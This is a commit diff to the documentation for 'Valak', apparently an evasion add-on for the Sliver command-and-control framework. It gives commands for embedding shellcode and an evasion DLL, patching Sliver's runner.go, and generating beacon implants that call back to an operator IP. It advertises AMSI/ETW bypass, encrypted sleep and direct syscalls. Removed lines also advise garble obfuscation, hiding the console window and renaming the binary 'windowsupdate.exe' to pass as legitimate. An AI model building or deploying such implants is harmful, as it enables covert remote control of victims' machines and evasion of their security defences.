fixes

docs/BUILD.md

@@ -15,18 +15,17 @@ cross-compiles from any OS. output is a PE32+ DLL for x64 Windows, about 80KB.
 if you need a minimal shellcode loader to get your implant running:
 
 ```bash
+# place your Sliver shellcode as valak.bin in the kage directory
 cd ../kage
+python3 embed.py
 zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
 # → zig-out/bin/kage.exe
 ```
 
-## embed into sliver implant
-
-see [sliver-integration.md](sliver-integration.md) for wiring it into the implant source.
-
-build the implant with garble:
+## integrate with sliver
 
 ```bash
-go install mvdan.cc/garble@latest
-garble -tiny -literals -seed=random build -tags evasion -ldflags="-s -w -H windowsgui"
+./scripts/integrate.sh ~/projects/sliver
 ```
+
+see [sliver-integration.md](sliver-integration.md) for details.

docs/sliver-integration.md

@@ -1,71 +1,71 @@
-## embed the dll
+# Valak + Sliver integration
 
-build the dll first:
-```
-cd evasion && zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
-```
+One script. Three prereqs. Your implant walks out with ChaCha20-encrypted
+sleep, HWBP AMSI/ETW bypass, and FreshyCalls syscalls.
 
-this produces `evasion/zig-out/bin/valak.dll`. convert it to a go byte slice:
+## prereqs
+
+- **Zig** — any build targeting `x86_64-windows` (Linux zig or Windows zig via WSL)
+- **Go 1.21+** — with a Sliver source clone on disk
+- **python3** — used by the embed script
+
+## usage
+
+from the Valak repo root, point it at your Sliver clone:
 
 ```bash
-xxd -i valak.dll | sed 's/unsigned char.*/var embeddedDLL = []byte{/' | sed 's/};/}/'
+./scripts/integrate.sh ~/projects/sliver
 ```
 
-or just open `go-bridge/embed_dll.go` and paste the bytes manually. the file starts with:
+that builds the DLL, embeds it, patches `runner.go`, and verifies the patches
+compile. The actual implant is generated from sliver-server (see below).
 
-```go
-var embeddedDLL = []byte{
-    0x4d, 0x5a, 0x90, 0x00, ...
-}
-```
+### options
 
-replace the `...` with the actual dll bytes.
+| flag | what it does |
+|------|-------------|
+| `--skip-build` | patch only, don't build the implant |
+| `ZIG=/path/to/zig` | use a specific zig binary (e.g. Windows zig from WSL) |
 
-## drop into sliver
-
-copy `go-bridge/` into `implant/sliver/evasion/valak/`
-
-## wire it up
-
-in `runner.go`, add the import:
-```go
-import "github.com/BishopFox/sliver/implant/sliver/evasion/valak"
-```
-
-in `Run()`, call this at the top:
-```go
-valak.Bootstrap()
-```
-
-replace the beacon sleep block (around line 294):
-```go
-// before
-select {
-case <-errors:
-    return err
-case <-time.After(duration):
-case <-shortCircuit:
-}
-
-// after
-select {
-case err := <-errors:
-    return err
-case <-shortCircuit:
-default:
-    valak.EvasionSleep(duration)
-}
-```
-
-on shutdown call:
-```go
-valak.Cleanup()
-```
-
-## build the implant
+examples:
 
 ```bash
-garble -tiny -literals -seed=random build -tags evasion -ldflags="-s -w -H windowsgui"
+# patch only
+./scripts/integrate.sh ~/projects/sliver --skip-build
+
+# windows zig on WSL
+ZIG=/mnt/c/Zig/zig.exe ./scripts/integrate.sh ~/projects/sliver
 ```
 
-rename the binary to something legit like `windowsupdate.exe`
+## generating the implant
+
+after the script patches your clone, generate the implant from sliver-server:
+
+```bash
+# start sliver
+sliver-server
+
+# on the server REPL:
+sliver > profiles new --beacon --http <YOUR_IP> valak
+sliver > generate --profile valak --save /tmp/valak.exe
+
+# or with mtls:
+sliver > generate --mtls <YOUR_IP> --save /tmp/valak.exe
+```
+
+the generated binary includes Valak's encrypted sleep, AMSI/ETW bypass, and
+FreshyCalls syscalls automatically. The patched `runner.go` is inherited
+through Sliver's template processing.
+
+### idempotent
+
+running the script twice on the same clone is safe — it detects existing
+patches and skips them.
+
+## notes
+
+- **beacon mode only** — encrypted sleep hooks `beaconMainLoop`. Session mode
+  blocks on connection receive, so evasion there is AMSI/ETW bypass and
+  FreshyCalls only.
+- **one-time init** — `Bootstrap()` goes in `beaconMainLoop` (runs once per
+  beacon connection), not `beaconMain` (runs every check-in).